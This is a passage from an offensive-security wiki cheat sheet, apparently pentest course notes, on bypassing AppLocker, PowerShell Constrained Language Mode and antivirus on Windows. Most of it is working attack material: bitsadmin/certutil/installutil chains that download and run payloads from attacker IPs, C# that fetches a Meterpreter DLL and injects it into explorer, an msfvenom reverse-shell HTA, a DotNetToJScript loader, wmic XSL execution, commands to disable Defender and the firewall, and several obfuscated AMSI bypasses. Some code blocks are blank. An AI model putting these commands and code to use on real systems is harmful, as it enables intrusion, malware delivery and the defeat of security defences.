AAAAAPAAIgALAjAAAAwAAAAGAAAAAAAAAAAAAAAgAAAAAABAAQAAAAAgAAAAAgAA&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
IMPORTANT!! The file need to be hosted using Apache2, not Python HTTP server because python http server does not have the correct header.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Unable to complete transfer.&lt;br /&gt;
ERROR FILE:    http://192.168.45.198/file.txt -&amp;gt; C:\users\student\enc.txt&lt;br /&gt;
ERROR CODE:    0x80200013 - The server does not support the necessary HTTP protocol. Background Intelligent Transfer Se&lt;br /&gt;
ERROR CONTEXT: 0x00000005 - The error occurred while the remote file was being processed.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
* Decode it on disk using  ​certutil -decode​ .&lt;br /&gt;
* Use  ​bitsadmin​  for the downloading.&lt;br /&gt;
* &#039;&#039;&#039;Combining Commands&#039;&#039;&#039;:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
bitsadmin /Transfer myJob http://192.168.119.120/file.txt C:\users\student\enc.txt &amp;amp;&amp;amp; certutil -decode C:\users\student\enc.txt C:\users\student\Bypass.exe &amp;amp;&amp;amp; del C:\users\student\enc.txt &amp;amp;&amp;amp; C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\users\student\Bypass.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[File:2023-09-image-3.png|thumb]]&lt;br /&gt;
==== Bypass CLM using Meterpreter Powershell_execute ====&lt;br /&gt;
You can bypass CLM using meterpreters &amp;lt;code&amp;gt;load powershell&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
meterpreter &amp;gt; load powershell&lt;br /&gt;
meterpreter &amp;gt; powershell_execute $ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[+] Command execution completed:&lt;br /&gt;
FullLanguage&lt;br /&gt;
meterpreter &amp;gt; shell&lt;br /&gt;
Process 6960 created.&lt;br /&gt;
Channel 4 created.&lt;br /&gt;
Microsoft Windows [Version 10.0.18363.900]&lt;br /&gt;
(c) 2019 Microsoft Corporation. All rights reserved.&lt;br /&gt;
C:\Windows\system32&amp;gt;powershell&lt;br /&gt;
powershell&lt;br /&gt;
Windows PowerShell&lt;br /&gt;
Copyright (C) Microsoft Corporation. All rights reserved.&lt;br /&gt;
Try the new cross-platform PowerShell https://aka.ms/pscore6&lt;br /&gt;
PS C:\Windows\system32&amp;gt;&lt;br /&gt;
PS C:\Windows\system32&amp;gt; $ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
ConstrainedLanguage&lt;br /&gt;
PS C:\Windows\system32&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== Bypass-clm script form github ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/calebstewart/bypass-clm GitHub - calebstewart/bypass-clm: PowerShell Constrained Language Mode Bypass]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U &amp;quot;C:\Windows\Tasks\bypass-clm.exe&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== CLMroute - Github repo ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/aress31/clm-rout GitHub - aress31/clm-rout: A C# program featuring an all-in-one bypass for CLM, AppLocker and AMSI using Runspace.]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /uninstall /logfile= /LogToConsole=false /cmd=&amp;quot;whoami /priv&amp;quot; C:\windows\tasks\clmr.exe&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /uninstall /logfile= /LogToConsole=false /url=&amp;quot;http://192.168.45.180/PowerUpSQL.ps1&amp;quot; /cmd=&amp;quot;Get-SQLInstanceLocal -Verbose&amp;quot; C:\windows\tasks\clmr.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Reflective injection ====&lt;br /&gt;
The technique above will write files to disk. In order to avoid that we will use Invoke-ReflectivePEInjection.ps1.&lt;br /&gt;
This method will Bypass AppLocker and use Reflective DLL Injection with InstallUtil.&lt;br /&gt;
* &#039;&#039;&#039;Generate a 64-bit Meterpreter DLL&#039;&#039;&#039;: This will be our payload.&lt;br /&gt;
* &#039;&#039;&#039;Host Meterpreter DLL on Kali Apache server&#039;&#039;&#039;.&lt;br /&gt;
* &#039;&#039;&#039;Upload  ​Invoke-ReflectivePEInjection.ps1​ &#039;&#039;&#039; (Don&#039;t use the Github version, use the one from Offsec) to the Apache server.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management.Automation;&lt;br /&gt;
using System.Management.Automation.Runspaces;&lt;br /&gt;
using System.Configuration.Install;&lt;br /&gt;
namespace Bypass&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            Console.WriteLine(&amp;quot;This is the main method which is a decoy&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    [System.ComponentModel.RunInstaller(true)]&lt;br /&gt;
    public class Sample : System.Configuration.Install.Installer&lt;br /&gt;
    {&lt;br /&gt;
        public override void Uninstall(System.Collections.IDictionary savedState)&lt;br /&gt;
        {&lt;br /&gt;
            String cmd = &amp;quot;$bytes = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.45.198/met.dll&#039;); (New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.198/Invoke-ReflectivePEInjection.ps1&#039;) | IEX; $procid = (Get-Process -Name explorer).Id; Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid&amp;quot;;&lt;br /&gt;
            Runspace rs = RunspaceFactory.CreateRunspace();&lt;br /&gt;
            rs.Open();&lt;br /&gt;
            PowerShell ps = PowerShell.Create();&lt;br /&gt;
            ps.Runspace = rs;&lt;br /&gt;
            ps.AddScript(cmd);&lt;br /&gt;
            ps.Invoke();&lt;br /&gt;
            rs.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
To execute the above on target machine, use the command&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Tools\Bypass.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[File:2023-09-image-4.png|thumb]]&lt;br /&gt;
[[File:2023-09-image-5.png|thumb]]&lt;br /&gt;
== AppLocker Bypass Using JScript ==&lt;br /&gt;
&lt;br /&gt;
=== JScript and HTA ===&lt;br /&gt;
&lt;br /&gt;
See also &amp;quot;Droppers&amp;quot; and HTA.&lt;br /&gt;
&lt;br /&gt;
* Microsoft HTML Applications (MSHTA) execute  ​&amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt;​  files using  ​&amp;lt;code&amp;gt;mshta.exe&amp;lt;/code&amp;gt;​ .&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt;​  files can have embedded JScript or VBS code.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;mshta.exe&amp;lt;/code&amp;gt;​  is commonly whitelisted because it&#039;s in  ​&amp;lt;code&amp;gt;C:\Windows\System32&amp;lt;/code&amp;gt;​  and is a signed Microsoft application.&lt;br /&gt;
&lt;br /&gt;
* Using  ​&amp;lt;code&amp;gt;mshta.exe&amp;lt;/code&amp;gt;​  can bypass whitelisting as an alternative to  &amp;lt;code&amp;gt;​wscript.exe&amp;lt;/code&amp;gt;​ .&lt;br /&gt;
&lt;br /&gt;
Create a shortcut file on Windows target and create a &amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt; file. For example, you can you use msfvenom&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443  -f hta-psh -o index.hta&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This will most likely be stopped by Antivirus. So another technique is to use ProcessHollowing with XOR and DotNetToJscript, and then use HTML smuggeling.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;How to get a meterpreter shell using Jscript and MSHTA&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Step 1 - Create a Csharp process hollow or process injection or whatever suits you with XOR encryption to avoid detection.&lt;br /&gt;
&lt;br /&gt;
Step 2 - Then use DotNetToJs to generate a jscript file. You will have to serve the jscript file using hta.&lt;br /&gt;
&lt;br /&gt;
Step 3 - To do this add HTML tags to the &amp;lt;code&amp;gt;.js&amp;lt;/code&amp;gt; file and change the extension to &amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt;. Call it index.hta.&lt;br /&gt;
&lt;br /&gt;
The code below is the outputted DotNetToJs jscript file but the the &amp;lt;html&amp;gt; tags added.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function setversion() {&lt;br /&gt;
new ActiveXObject(&#039;WScript.Shell&#039;).Environment(&#039;Process&#039;)(&#039;COMPLUS_Version&#039;) = &#039;v4.0.30319&#039;;&lt;br /&gt;
}&lt;br /&gt;
function debug(s) {}&lt;br /&gt;
function base64ToStream(b) {&lt;br /&gt;
    var enc = new ActiveXObject(&amp;quot;System.Text.ASCIIEncoding&amp;quot;);&lt;br /&gt;
    var length = enc.GetByteCount_2(b);&lt;br /&gt;
    var ba = enc.GetBytes_4(b);&lt;br /&gt;
    var transform = new ActiveXObject(&amp;quot;System.Security.Cryptography.FromBase64Transform&amp;quot;);&lt;br /&gt;
    ba = transform.TransformFinalBlock(ba, 0, length);&lt;br /&gt;
    var ms = new ActiveXObject(&amp;quot;System.IO.MemoryStream&amp;quot;);&lt;br /&gt;
    ms.Write(ba, 0, (length / 4) * 3);&lt;br /&gt;
    ms.Position = 0;&lt;br /&gt;
    return ms;&lt;br /&gt;
}&lt;br /&gt;
var serialized_obj = &amp;quot;AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy&amp;quot;+&lt;br /&gt;
&amp;quot;AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph&amp;quot;+&lt;br /&gt;
&amp;quot;dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk&amp;quot;+&lt;br /&gt;
.....&amp;quot;;&lt;br /&gt;
var entry_class = &#039;TestClass&#039;;&lt;br /&gt;
try {&lt;br /&gt;
    setversion();&lt;br /&gt;
    var stm = base64ToStream(serialized_obj);&lt;br /&gt;
    var fmt = new ActiveXObject(&#039;System.Runtime.Serialization.Formatters.Binary.BinaryFormatter&#039;);&lt;br /&gt;
    var al = new ActiveXObject(&#039;System.Collections.ArrayList&#039;);&lt;br /&gt;
    var d = fmt.Deserialize_2(stm);&lt;br /&gt;
    al.Add(undefined);&lt;br /&gt;
    var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);&lt;br /&gt;
} catch (e) {&lt;br /&gt;
    debug(e.message);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
        self.close();&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 4 - Host this on your Kali using apache2 or python.&lt;br /&gt;
&lt;br /&gt;
Step 5 - On target there are a couple of ways to execute it. Either using shortcut as you see below.&lt;br /&gt;
&lt;br /&gt;
Or using the command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\windows\system32\mshta.exe http://kali-ip/index.hta&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
or visiting the website using Internet Explorer. Using another browser will end up downloading the &amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt; file and not executing it.&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-6.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== XLS Transform ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose&#039;&#039;&#039;: Bypassing application whitelisting, such as AppLocker, to achieve arbitrary Jscript execution using XSL transformation.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Known As&#039;&#039;&#039;: Squiblytwo attack (see [https://attack.mitre.org/techniques/T1220/ Mitre T1220]).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Basic Principle&#039;&#039;&#039;: XSLT uses  ​.xsl​  documents to transform an XML document into different formats like XHTML. It allows execution of embedded Jscript code when processing an XML document.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 1 - Craft a Malicious XSL Document&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Create a malicious XSL file containing the Jscript payload you want to execute.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Note&#039;&#039;&#039;: This XSL file will open  ​cmd.exe​  when triggered.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 2 - Host the Malicious XSL Document&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Host the file on an Apache webserver or Python HTTP server.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 3 - Trigger the Payload&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use WMIC (Windows Management Instrumentation Command-line) to trigger the Jscript code in the XSL file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wmic process get brief /format:&amp;quot;http://192.168.119.120/test.xsl&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* A new command prompt should open.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Getting Meterpreter shell &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 1 - Edit the &amp;lt;code&amp;gt;.xsl&amp;lt;/code&amp;gt; file &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Between these lines you can add your jscript code thats outputted from DotNetToJscript. Use ProcessHollowing with XOR for low detection rate&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The entire code will look like this.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 3 - Host the &amp;lt;code&amp;gt;.xsl&amp;lt;/code&amp;gt; on your kali and run the follow command on target&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wmic process get brief /format:&amp;quot;http://192.168.119.120/test.xsl&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-8.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== AppLocker bypass using Aspnet_Compiler.exe == &lt;br /&gt;
&lt;br /&gt;
This technique abuses &#039;&#039;&#039;aspnet_compiler.exe&#039;&#039;&#039;. This is a legimate Microsoft-signed binary shipped with the .NET framework to load and execute a custom DLL. Since the binary is trusted and signed by Microsoft, it can bypass some application whitelisting controls. &lt;br /&gt;
&lt;br /&gt;
The full path for the binary is: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;aspnet_compiler.exe&amp;lt;/code&amp;gt; is the ASP.NET pre-compilation tool. Its legitimate purpose is to compile ASP.NET web applications ahead of deployment.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Source: https://ijustwannared.team/2020/08/01/the-curious-case-of-aspnet_compiler-exe/&lt;br /&gt;
&lt;br /&gt;
== AV Evasion - General ==&lt;br /&gt;
&lt;br /&gt;
https://book.ghanim.no/?p=2698#General_AV_Evasion_cheatsheet&lt;br /&gt;
&lt;br /&gt;
=== Check AV – Running, Exclusion, Disable ===&lt;br /&gt;
&lt;br /&gt;
* Check if Windows Defender is running: &amp;lt;code&amp;gt;Get-MpComputerStatus | Select RealTimeProtectionEnabled&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Get info about Windows Defender: &amp;lt;code&amp;gt;Get-MpPreference&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Find excluded folders from Windows Defender: &amp;lt;code&amp;gt;Get-MpPreference | select Exclusion*&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Create exclusion: &amp;lt;code&amp;gt;Set-MpPreference -ExclusionPath &amp;quot;&amp;lt;path&amp;gt;&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Check AV detections: &amp;lt;code&amp;gt;Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Get last AV detection: &amp;lt;code&amp;gt;Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime | Select-Object -First 1&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Disable AV monitoring: &amp;lt;code&amp;gt;Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPReference -DisableIOAVProtection $true&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Enumerate ASR rules: https://github.com/directorcia/Office365/blob/master/win10-asr-get.ps1&lt;br /&gt;
&lt;br /&gt;
* Enumerate AV / EDR: https://github.com/tothi/serviceDetector&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
// What AV is running on the system&lt;br /&gt;
// Importing necessary namespaces&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management;&lt;br /&gt;
internal class Program&lt;br /&gt;
{&lt;br /&gt;
    static void Main(string[] args)&lt;br /&gt;
    {&lt;br /&gt;
        var status = false; // Variable to track the presence of antivirus software&lt;br /&gt;
        Console.WriteLine(&amp;quot;[+] Antivirus check is running .. &amp;quot;);&lt;br /&gt;
        // Array of antivirus processes to check for&lt;br /&gt;
        string[] AV_Check = {&lt;br /&gt;
            &amp;quot;MsMpEng.exe&amp;quot;, &amp;quot;AdAwareService.exe&amp;quot;, &amp;quot;afwServ.exe&amp;quot;, &amp;quot;avguard.exe&amp;quot;, &amp;quot;AVGSvc.exe&amp;quot;,&lt;br /&gt;
            &amp;quot;bdagent.exe&amp;quot;, &amp;quot;BullGuardCore.exe&amp;quot;, &amp;quot;ekrn.exe&amp;quot;, &amp;quot;fshoster32.exe&amp;quot;, &amp;quot;GDScan.exe&amp;quot;,&lt;br /&gt;
            &amp;quot;avp.exe&amp;quot;, &amp;quot;K7CrvSvc.exe&amp;quot;, &amp;quot;McAPExe.exe&amp;quot;, &amp;quot;NortonSecurity.exe&amp;quot;, &amp;quot;PavFnSvr.exe&amp;quot;,&lt;br /&gt;
            &amp;quot;SavService.exe&amp;quot;, &amp;quot;EnterpriseService.exe&amp;quot;, &amp;quot;WRSA.exe&amp;quot;, &amp;quot;ZAPrivacyService.exe&amp;quot;&lt;br /&gt;
        };&lt;br /&gt;
        // Creating a ManagementObjectSearcher to query Windows processes&lt;br /&gt;
        var searcher = new ManagementObjectSearcher(&amp;quot;select * from win32_process&amp;quot;);&lt;br /&gt;
        var processList = searcher.Get(); // Retrieving the list of processes&lt;br /&gt;
        int i = 0;&lt;br /&gt;
        foreach (var process in processList)&lt;br /&gt;
        {&lt;br /&gt;
            // Checking if the process is one of the antivirus processes&lt;br /&gt;
            int _index = Array.IndexOf(AV_Check, process[&amp;quot;Name&amp;quot;].ToString());&lt;br /&gt;
            if (_index &amp;gt; -1)&lt;br /&gt;
            {&lt;br /&gt;
                // Antivirus process found&lt;br /&gt;
                Console.WriteLine(&amp;quot;--AV Found: {0}&amp;quot;, process[&amp;quot;Name&amp;quot;].ToString());&lt;br /&gt;
                status = true;&lt;br /&gt;
            }&lt;br /&gt;
            i++;&lt;br /&gt;
        }&lt;br /&gt;
        // Checking the status variable to determine if antivirus software was found or not&lt;br /&gt;
        if (!status)&lt;br /&gt;
        {&lt;br /&gt;
            Console.WriteLine(&amp;quot;--AV software is not found!&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows Firewall ===&lt;br /&gt;
&lt;br /&gt;
* Get state: &amp;lt;code&amp;gt;Get-NetFirewallProfile -PolicyStore ActiveStore&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Get rules: &amp;lt;code&amp;gt;Get-netfirewallrule | format-table name,displaygroup,action,direction,enabled -autosize&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Disable firewall: &amp;lt;code&amp;gt;Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Enable firewall: &amp;lt;code&amp;gt;Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Change default policy: &amp;lt;code&amp;gt;Set-NetFirewallProfile -DefaultInboundAction Block -DefaultOutboundAction Allow&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Open port on firewall: &amp;lt;code&amp;gt;netsh advfirewall firewall add rule name=&amp;quot;Allow port&amp;quot; dir=in action=allow protocol=TCP localport=&amp;lt;PORT&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Remove firewall rule: &amp;lt;code&amp;gt;Remove-NetFirewallRule -DisplayName &amp;quot;Allow port&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell – ASMI bypass methods, Disable AV, etc ===&lt;br /&gt;
&lt;br /&gt;
[https://amsi.fail/ AMSI.fail]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.AmsiUtils&#039;).GetField(&#039;amsiInitFai&lt;br /&gt;
led&#039;,&#039;NonPublic,Static&#039;).SetValue($null,$true)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AMSI Bypass ====&lt;br /&gt;
&lt;br /&gt;
* Start 64 bit powershell: &amp;lt;code&amp;gt;%SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Change execution policy: &amp;lt;code&amp;gt;Set-ExecutionPolicy Bypass&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;-ExecutionPolicy Bypass&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Bypass AMSI (AntiMalware Scan Interface): Use one of the following single-line or multi-line bypasses:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;If patched, just change up the strings/variables.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Single-line bypasses:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$A=\&amp;quot;5492868772801748688168747280728187173688878280688776\&amp;quot; $B=\&amp;quot;8281173680867656877679866880867644817687416876797271\&amp;quot; function C ($n, $m) {  [string] ($n..$m|% { [char] [int] (29+ ($A+$B).  substring ( ($_*2),2))})-replace \&amp;quot; \&amp;quot;} $k=C 0 37; $r=C 38 51 $a= [Ref].Assembly.GetType ($k) $a.GetField ($r,&#039;NonPublic,Static&#039;).SetValue ($null,$true)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Multi-line bypass:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$a = &#039;System.Management.Automation.A&#039;;$b = &#039;ms&#039;;$u = &#039;Utils&#039;&lt;br /&gt;
$assembly = [Ref].Assembly.GetType ( (&#039; {0} {1}i {2}&#039; -f $a,$b,$u))&lt;br /&gt;
$field = $assembly.GetField ( (&#039;a {0}iInitFailed&#039; -f $b),&#039;NonPublic,Static&#039;)&lt;br /&gt;
$field.SetValue ($null,$true)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Single-line bypasses:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
S`eT-It`em ( &#039;V&#039;+&#039;aR&#039; +  &#039;IA&#039; + (&#039;blE:1&#039;+&#039;q2&#039;)  + (&#039;uZ&#039;+&#039;x&#039;)  ) ( [TYpE](  &amp;quot;{1}{0}&amp;quot;-F&#039;F&#039;,&#039;rE&#039;  ) )  ;    (    Get-varI`A`BLE  ( (&#039;1Q&#039;+&#039;2U&#039;)  +&#039;zX&#039;  )  -VaL  ).&amp;quot;A`ss`Embly&amp;quot;.&amp;quot;GET`TY`Pe&amp;quot;((  &amp;quot;{6}{3}{1}{4}{2}{0}{5}&amp;quot; -f(&#039;Uti&#039;+&#039;l&#039;),&#039;A&#039;,(&#039;Am&#039;+&#039;si&#039;),(&#039;.Man&#039;+&#039;age&#039;+&#039;men&#039;+&#039;t.&#039;),(&#039;u&#039;+&#039;to&#039;+&#039;mation.&#039;),&#039;s&#039;,(&#039;Syst&#039;+&#039;em&#039;)  ) ).&amp;quot;g`etf`iElD&amp;quot;(  ( &amp;quot;{0}{2}{1}&amp;quot; -f(&#039;a&#039;+&#039;msi&#039;),&#039;d&#039;,(&#039;I&#039;+&#039;nitF&#039;+&#039;aile&#039;)  ),(  &amp;quot;{2}{4}{0}{1}{3}&amp;quot; -f (&#039;S&#039;+&#039;tat&#039;),&#039;i&#039;,(&#039;Non&#039;+&#039;Publ&#039;+&#039;i&#039;),&#039;c&#039;,&#039;c,&#039;  )).&amp;quot;sE`T`VaLUE&amp;quot;(  ${n`ULl},${t`RuE} )&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: [https://buaq.net/go-98295.html https://buaq.net/go-98295.html]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.&#039;+$(&amp;quot;41 6D 73 69 55 74 69 6C 73&amp;quot;.Split(&amp;quot; &amp;quot;)|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result)).GetField($(&amp;quot;61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64&amp;quot;.Split(&amp;quot; &amp;quot;)|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result2),&#039;NonPublic,Static&#039;).SetValue($null,$true)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
